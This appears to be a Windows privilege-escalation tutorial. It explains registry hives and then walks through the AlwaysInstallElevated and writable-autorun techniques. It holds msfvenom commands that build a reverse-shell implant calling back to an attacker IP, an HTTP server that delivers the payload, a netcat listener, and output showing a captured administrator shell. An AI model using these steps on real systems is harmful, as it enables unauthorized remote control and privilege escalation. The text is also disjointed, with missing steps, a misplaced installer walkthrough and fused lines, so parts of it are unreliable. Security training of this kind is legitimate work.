Registry hives are essential components of the Windows operating system’s registry. They are logical groups of keys, subkeys, and values that store configuration settings and options for the operating system and installed applications. Each hive is associated with a set of supporting files that are loaded into memory when the system starts or a user logs in.
Here are the main registry hives:
HKEY_CLASSES_ROOT (HKCR): Contains information about registered applications, including file associations and OLE object class IDs.
HKEY_CURRENT_USER (HKCU): Stores settings and preferences for the currently logged-in user.
HKEY_LOCAL_MACHINE (HKLM): Contains configuration settings for the local computer, including hardware and software settings.
HKEY_USERS (HKU): Holds user-specific settings for all users on the system.
HKEY_CURRENT_CONFIG (HKCC): Contains information about the current hardware profile used by the system.
Each hive has its own set of supporting files, typically located in the %SystemRoot%\System32\Config directory. These files are updated whenever changes are made to the registry.
Privilege Escalation via AlwaysInstallElevated
The MSI Wrapper is for software developers who have a setup executable file and want to offer an MSI that wraps their original setup executable file. It is also useful for system administrators with a setup.exe they want to distribute as an MSI to client computers in their organization.
Once you have downloaded the MSI Wrapper:
MSI Wrapper
Execute the setup wizard and click Next:
MSI Wrapper
Accept the License Agreement and click Next:
MSI Wrapper
We can change the destination folder if we want, I will leave it as it is:
MSI Wrapper
Then click Install:
MSI Wrapper
Once it is completed, click on Finish:
MSI Wrapper
Optionally, we could create a desktop shortcut or pin to the taskbar:
MSI Wrapper
Generate an executable reverse shell:
1
2
3
4
5
6
7
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe -o implant.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: implant.exe
Setup an HTTP listener:
1
2
3
4
❯ sudo python3 -m http.server 80[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80(http://0.0.0.0:80/) ...
192.168.119.129 - - [06/Mar/2022 17:54:06]"GET /implant.exe HTTP/1.1"200 -
If we execute Process Hacker as Administrator we can see the process tree:
Process Hacker AutoElevate
Note: In the case that you don’t see the process tree, double click on the Name column to change the view. You may need to double click (change the view) multiple times.
Alternatively, we can just generate an MSI reverse shell:
From the output above we can see that the “NT AUTHORITY\Authenticated Users” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.
Open command prompt or PowerShell as administrator and run the Autoruns GUI app:
1
C:\Tools\SysinternalsSuite\Autoruns64.exe
Note: If the Autoruns64.exe GUI doesn’t show the “My Program” autorun registry key, try executing as administrator first.
In Autoruns, click on the ‘Logon’ tab and from the listed results, notice that the “My Program” entry is pointing to “C:\Program Files\Autorun Program\program.exe”:
AutoRuns Program
The command line version of autoruns is autorunsc.exe (can be executed as medium-integrity level / low privileged user):
Since we have write permissions to C:\Program Files\Autorun Program\program.exe we can replace it with a payload or an implant. In this case, I will generate an executable reverse shell:
1
2
3
4
5
6
7
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe -o implant.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: implant.exe
Then I will setup an HTTP listener on my attacker machine:
1
2
3
❯ sudo python3 -m http.server 80[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80(http://0.0.0.0:80/) ...
Transfer and replace the original executable with PowerShell:
❯ nc -lvnp 443listening on [any]443 ...
connect to [192.168.119.130] from (UNKNOWN)[192.168.119.129]58708Microsoft Windows [Version 10.0.22000.318](c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /all
whoami /all
USER INFORMATION
----------------
User Name SID=========================================================================desktop-bn\administrator S-1-5-21-264094270-2388996790-3434637240-500
GROUP INFORMATION
-----------------
Group Name Type SID Attributes========================================================================================================================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State===================================================================================================================SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Disabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
Note: A firewall or an antivirus/anti-malware might block the connection.
We can use Process Hacker to view the process token:
Process Hacker AutoRuns
We can also view the connection with TCPView:
TCPView
We could also use the TCPView command line version: